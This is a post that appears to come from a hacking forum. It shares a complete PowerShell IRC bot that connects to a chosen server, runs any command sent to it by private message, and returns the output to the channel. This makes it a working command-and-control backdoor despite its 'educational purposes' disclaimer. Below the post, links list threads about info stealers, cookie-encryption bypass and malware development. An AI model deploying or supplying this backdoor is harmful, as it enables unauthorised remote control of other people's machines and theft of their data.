Powershell basic IRC shell
by Sukob - Monday April 15, 2024 at 06:32 PM
#1
Below is a basic powershell IRC bot, to use it is very simple,
put in the relevant information and start the bot.
Join the same channel with your IRC client and privmsg the bot, it will execute the command then
send the output line by line to the channel

Bot is only for educational purposes/ to teach. It is not very stable.
Have fun messing with the code!

Tested on ngircd with irssi


[string]$server = "server_ip"
[int]$port = server_port
[string]$uid = "bot_name"
$channel = "#bots"
function send($writer, $text) {
    $writer.WriteLine($text)
    $writer.Flush()
}
function proc($line, $writer) {
    $info = $line.Split()
    if (($info[1] -eq "PRIVMSG") -and ($info[2] -eq $uid)) {
        $cmd = $info[3].trim(":")
        $script = [Scriptblock]::Create($cmd)
        $cmd = try{icm -ScriptBlock $script|out-string}catch{$_|out-string}
        return $cmd
    } else {
        return "-"
    }
}
$client = New-Object System.Net.Sockets.TcpClient($server, $port)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
send $writer ("NICK $uid")
send $writer ("USER $uid 0 * :$uid bot")
send $writer ("JOIN $channel")
$reader = New-Object System.IO.StreamReader($stream)
while ($client.Connected) {
    if ($stream.DataAvailable) {
        $line = $reader.ReadLine()
        $output = proc $line $writer
        if ($output -ne "-") {
            $output = $output -split "\r?\n"
            foreach($line in $output) {
                send $writer ("PRIVMSG $Channel :$line")
            }
        }
    }
    Start-Sleep -Milliseconds 100
}
$writer.Close()
$reader.Close()
$client.Close()


This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Self-Ban | Retired |http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you wish to be unbanned in the future.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Bypass Cookies Encryption | Working FrancisMDouble 8 1,070 8 hours ago
Last Post: 0x0xGunger998
  Malware On Steroids 0neSh0t 348 24,268 8 hours ago
Last Post: 0x0xGunger998
  [ LIST ] 5 FREE STEALERS WITH PROS/CONS elix 391 15,391 8 hours ago
Last Post: 0x0xGunger998
  Malware Development MD MZ E Book Mandala 51 2,030 8 hours ago
Last Post: 0x0xGunger998
  3 sektor7 free courses NEO123 50 3,433 8 hours ago
Last Post: 0x0xGunger998

Forum Jump:


 Users browsing this forum: 1 Guest(s)